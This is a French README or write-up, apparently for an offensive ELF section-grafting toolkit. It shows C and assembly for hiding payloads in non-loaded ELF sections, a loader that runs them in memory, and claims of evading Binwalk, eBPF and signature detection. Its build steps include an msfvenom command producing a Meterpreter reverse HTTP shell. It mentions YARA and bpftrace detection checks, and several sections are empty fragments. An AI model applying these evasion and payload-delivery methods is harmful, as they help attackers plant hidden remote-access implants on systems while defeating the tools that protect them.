
Boîte à outils de greffage de sections de binaires ELF pour la livraison de charges utiles sans stage, permettant l'attachement de charges utiles sur le terrain, l'évasion de signatures et la résistance au chargement statique/dynamique via la manipulation personnalisée de sections ELF.
.data.payload.h :
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Réalisé manuellement ou avec des outils comme bin2c ou xxd -i payload.bin > payload.h avec inclusion ultérieure du fichier d’en-tête.
Stocker les charges utiles dans .text et .data de manière générique est également une mauvaise idée en raison de la facilité du traçage de chargement et de l’introspection des sémantiques comportementales du chargement de données pour exécution.
__attribute__. C’est un peu mieux mais reste bien traçable en raison de la façon dont ELF est créé et chargé.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Initialiser le pointeur de pile */
init_sp (stack + sizeof (stack));
/* Initialiser les données initialisées */
memcpy (&init_data, &data, &edata - &data);
}
Une directive de type .incbin dépendante de l’assembleur peut créer une section et intégrer une charge utile.
Ex : gcc -c payload.s ou ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
Avec récupération ultérieure dans le chargeur :
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Note : Nous pouvons inclure un ELF entièrement fonctionnel dans le payload.bin, ce qui est important pour créer des binaires « fat », contenant des éléments de plusieurs toolkits.
Note : Des outils plus ergonomiques existent pour accomplir la tâche, comme INCBIN de @graphitemaster [lien]
Une variante sur le thème est l’ASM en ligne comme ceci :
/* Données d'image brutes pour toutes les images intégrées */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Structures d'image pour toutes les images intégrées */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Note : Remarquez PROGBITS dans la définition d’une section, cela sera important.
L'inclusion binaire de la charge utile via compilateur/éditeur de liens n'est pas idéale
Il y a des compromis :

Le type de section et les indicateurs définis sur la nouvelle section contenant déterminent si le chargeur OS charge la section en mémoire lors du lancement de l’exécutable. Certaines sections sont chargées automatiquement par défaut, d’autres non (par exemple .symtab, .strtab).
En tant qu’offensif, quelles efficacités pouvons-nous en tirer ?
Nous pouvons éviter de définir des indicateurs sur les sections qui supposent un chargement par défaut en mémoire.
Nous pouvons utiliser un type de section différent qui ne charge pas en mémoire.
Un fournisseur ou un ingénieur système peut avoir besoin de marquer un fichier objet avec des informations spéciales que d’autres programmes peuvent vérifier pour la conformité ou la compatibilité. Les sections de type
SHT_NOTEet les éléments d’en-tête de programme de typePT_NOTEpeuvent être utilisés à cette fin.
Dans ce dernier cas, nous pouvons voir l’utilisation de ce type de section dans les binaires système :
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
Et inspecter leur contenu :
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
Le résultat final de la création d’une section SHT_NOTE ressemblera à ceci dans l’ELF :

Bonus : SHT_NOTE nous donne une structure si nous en avons besoin (et nous l’utiliserons plus loin) :

Jusqu’à présent, nous avons pu créer une section, éviter son chargement en mémoire par le chargeur OS. La section est effectivement dormante dans l’image ELF pour le moment. Nous discuterons de la façon de la charger un peu plus tard. Cependant, une question plus pressante est le fait que nous opérons toujours au niveau du compilateur et de l’éditeur de liens, et que la section est un objet qui est tissé dans la structure de l’ELF final, créant des relations et des adresses mémoire à partir du code du chargeur qui référence son contenu.

Et si nous étions capables de créer une section ELF avec une charge utile intégrée en dehors du flux de travail de compilation du chargeur, et d’attacher cette section ultérieurement au binaire du chargeur ?
Cela romprait la relation entre le code du chargeur et l’interaction avec la section. Ensuite, nous apprenons au chargeur comment trouver et charger sa section de données étrangère, « amarrant » effectivement une charge utile à un chargeur de manière faiblement couplée.
Conceptuellement, nos objectifs seraient :
La relation chargeur/charge utile (dans la section) ressemblerait maintenant à ceci :

Nous pouvons alors créer un injecteur qui introduira une section de charge utile dans le chargeur sans que l’un ou l’autre n’opère au niveau du code, uniquement avec une compatibilité binaire (et le chargeur sachant comment charger n’importe quelle section de charge utile).

Quelques résultats d’une telle configuration d’amarrage de sections ELF générique :
Un chargeur ELF statique peut alors être livré seul, dépourvu de charges utiles, uniquement avec des mécanismes pour charger une section à la demande et amorcer la charge utile à partir de celle-ci.
La charge utile peut être conditionnée séparément et regroupée avec le chargeur à tout moment comme une étape statique, ou ultérieurement avec un injecteur. La charge utile peut souvent être chiffrée, souvent être elle-même un exécutable ELF si nécessaire, tant que le chargeur connaît non pas la structure de la charge utile mais uniquement ses capacités d’emballage.
L’injecteur peut négocier l’attachement de sections provenant de plusieurs binaires (étapes dormantes) pour construire une section et l’injecter dans le chargeur.
Il y a des avantages à la construction au niveau des sections par rapport à l’emballage de plusieurs ressources dans un exécutable. Il n’y a pas de surcharge de détection liée au traitement et au code du packer. Il y a des gains en termes de portage de plusieurs sections avec d’autres outils qui reposent sur un lancement en mémoire et ne peuvent pas être facilement emballés en raison de la façon dont les packers doivent extraire les binaires dans le système de fichiers. (Section sur les binaires fat plus loin)
Discutons des composants de l’amarrage de sections ELF plus en détail.
Disposition : arrière ou sur le terrain Avantages :
Disposition : sur le terrain Avantages :
Avantages :
Renforcement de l’injecteur/packeur de sections ELF :
Renforcement du chargeur ELF :
Quelques mots sur le chargeur de sections ELF travaillant avec le lanceur de charge utile :
Le chargeur peut utiliser l’un des deux mécanismes d’exécution de charge utile en mémoire :
Option A : SYS_Memfd_create ()
Option B : Userland Exec (https://grugq.github.io/docs/ul_exec.txt)
Exécution du workflow :

Opportunités de contournement de Binwalk après charge utile de section ELF vs charge utile MSF :

Contournement eBPF vs packeur de sections ELF :

Vérificateur et tests YARA :


Définition d’outil STIX :

cmake --configure . pour configurer votre environnement de construction. Nous supportons actuellement CMake 3.18../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a mais peut être reconstruite depuis le dépôt d’origine si nécessaire.bpftrace, veuillez installer les en-têtes de noyau appropriés pour votre distribution.run.shaux/msfrc comme ceci :msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <chemin/vers/fichier/elf> [section_elf]